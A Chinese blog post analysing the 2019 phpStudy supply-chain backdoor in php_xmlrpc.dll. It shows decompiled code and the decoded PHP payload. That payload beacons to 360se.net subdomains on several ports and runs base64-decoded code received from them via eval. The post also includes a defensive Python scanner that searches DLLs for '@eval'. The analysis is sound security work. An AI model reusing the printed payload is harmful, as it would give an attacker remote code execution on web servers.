• 2019关于phpstudy软件后门简单分析


    2019.9.20得知非官网的一些下载站中的phpstudy版本存在后门文件   说是官网下的就没有后门

     

    20号出现的新闻 今天phpstudy官网21号又更新一波 不太好说这是什么操作哦 此地无银三百两?

    很开心的说 我以前的虚拟机装的应该是有后门版本(任何文件我从来都是官网下文件)   用chamd5的检测py

    哎~~学个php都被搞哦  跟着大佬团队文章也动手找找后门把

    chamd5团队老哥发现是php_xmlrpc.dll中的问题 直接站人家肩膀把  看看这个dll

    php_xmlrpc.dll @eval函数

    .data:1000DE98

    gzuncompress函数解密执行payload 以前webshell大马免杀经常用的函数- -

     .data:1000DE98 函数sub_10003490

     

    145-177行:

        while ( 1 )
        {
          if ( *(_DWORD *)v13 == 39 )
          {
            v10[v12] = 92;
            v43[v12 + 1] = *v11;
            v12 += 2;
            v13 += 8;
          }
          else
          {
            v10[v12++] = *v11;
            v13 += 4;
          }
          v11 += 4;
          if ( (signed int)v11 >= (signed int)asc_1000C66C )
            break;
          v10 = v43;
        }
        spprintf(&v43, 0, a_evalSS, aGzuncompress, v43);
        v24 = *(_DWORD *)(*a3 + 4 * executor_globals_id - 4);
        v25 = *(_DWORD *)(v24 + 296);
        *(_DWORD *)(v24 + 296) = &v33;
        v40 = v25;
        v26 = setjmp3(&v33, 0);
        v27 = v40;
        if ( v26 )
        {
          v28 = a3;
          *(_DWORD *)(*(_DWORD *)(*a3 + 4 * executor_globals_id - 4) + 296) = v40;
        }
        else
        {

     这里@eval    gzuncompress('%s')进行拼接,调用gzuncompress方法解密执行payload,以前webshell大马免杀经常用的函数,上面也看到了函数地址

    而gzuncompress解密前的代码是这里的v43

    下面是zend_eval_string处执行v43处gzuncompress编码的代码

     

        }
        else
        {
          v28 = a3;
          zend_eval_string(v43, 0, &byte_10011B34, a3);
        }
        *(_DWORD *)(*(_DWORD *)(*v28 + 4 * executor_globals_id - 4) + 296) = v27;
        if ( dword_1000C010 < 3600 )
          dword_1000C010 += 3600;
        ftime(&dword_10011D50);
      }

     v43处执行的代码通过解码:

    @ini_set("display_errors","0");
    error_reporting(0);
    $h = $_SERVER['HTTP_HOST'];
    $p = $_SERVER['SERVER_PORT'];
    $fp = fsockopen($h, $p, $errno, $errstr, 5);
    if (!$fp) {
    } else {
        $out = "GET {$_SERVER['SCRIPT_NAME']} HTTP/1.1
    ";
        $out .= "Host: {$h}
    ";
        $out .= "Accept-Encoding: compress,gzip
    ";
        $out .= "Connection: Close
    
    ";
    
        fwrite($fp, $out);
        fclose($fp);
    }

    拼接后v43后解密的代码 明显的fsockopen通信 反弹后门到360se.net的20123端口

    @ini_set("display_errors","0");
    error_reporting(0);
    function tcpGet($sendMsg = '', $ip = '360se.net', $port = '20123'){
        $result = "";
      $handle = stream_socket_client("tcp://{$ip}:{$port}", $errno, $errstr,10); 
      if( !$handle ){
        $handle = fsockopen($ip, intval($port), $errno, $errstr, 5);
        if( !$handle ){
            return "err";
        }
      }
      fwrite($handle, $sendMsg."
    ");
        while(!feof($handle)){
            stream_set_timeout($handle, 2);
            $result .= fread($handle, 1024);
            $info = stream_get_meta_data($handle);
            if ($info['timed_out']) {
              break;
            }
         }
      fclose($handle); 
      return $result; 
    }
    
    $ds = array("www","bbs","cms","down","up","file","ftp");
    $ps = array("20123","40125","8080","80","53");
    $n = false;
    do {
        $n = false;
        foreach ($ds as $d){
            $b = false;
            foreach ($ps as $p){
                $result = tcpGet($i,$d.".360se.net",$p); 
                if ($result != "err"){
                    $b =true;
                    break;
                }
            }
            if ($b)break;
        }
        $info = explode("<^>",$result);
        if (count($info)==4){
            if (strpos($info[3],"/*Onemore*/") !== false){
                $info[3] = str_replace("/*Onemore*/","",$info[3]);
                $n=true;
            }
            @eval(base64_decode($info[3]));
        }
    }while($n);

    检查脚本 来自chamd5团队脚本,在phpstudy目录下执行即可递归检查

    # -*- coding:utf8 -*-
    __author__='pcat@chamd5.org'
    __blog__='http://pcat.cc'
    
    import os
    import string
    import re
    
    
    def strings(file) :
        chars = string.printable[:94]
        shortestReturnChar = 4
        regExp = '[%s]{%d,}' % (chars, shortestReturnChar)
        pattern = re.compile(regExp)
        with open(file, 'rb') as f:
            return pattern.findall(f.read())
    
    
    def grep(lines,pattern):
        for line in lines:
            if pattern in line:
                yield line
    
    
    def pcheck(filename):
        # trojan feature
        trojan='@eval'
        # just check dll file
        if filename.endswith('.dll'):        
            lines=strings(filename)
            try:
                grep(lines,trojan).next()
            except:
                return
            print '=== {0} ==='.format(filename)
            for line in grep(lines,trojan):
                print line
        pass
    
    
    def foo():
        # . stand for current directory
        for path, dirs, files in os.walk(".", topdown=False):
            for name in files:
                pcheck(os.path.join(path, name))
            for name in dirs:
                pcheck(os.path.join(path, name))
        pass
    
    
    if __name__ == '__main__':
        foo()

    自己斟酌哦 太菜了呢学个php都给人家当鸡

  • 相关阅读:
    linux下修改mysql密码
    会话跟踪技术之——cookie
    servlet之注册登录(简写)
    java服务端和用户端
    JavaBean和jsp的开发模型
    session的用法
    jsp元素
    servlet
    ServletContext对象统计在线人数
    图片站点服务
  • 原文地址:https://www.cnblogs.com/-qing-/p/11562371.html
Copyright © 2020-2023  润新知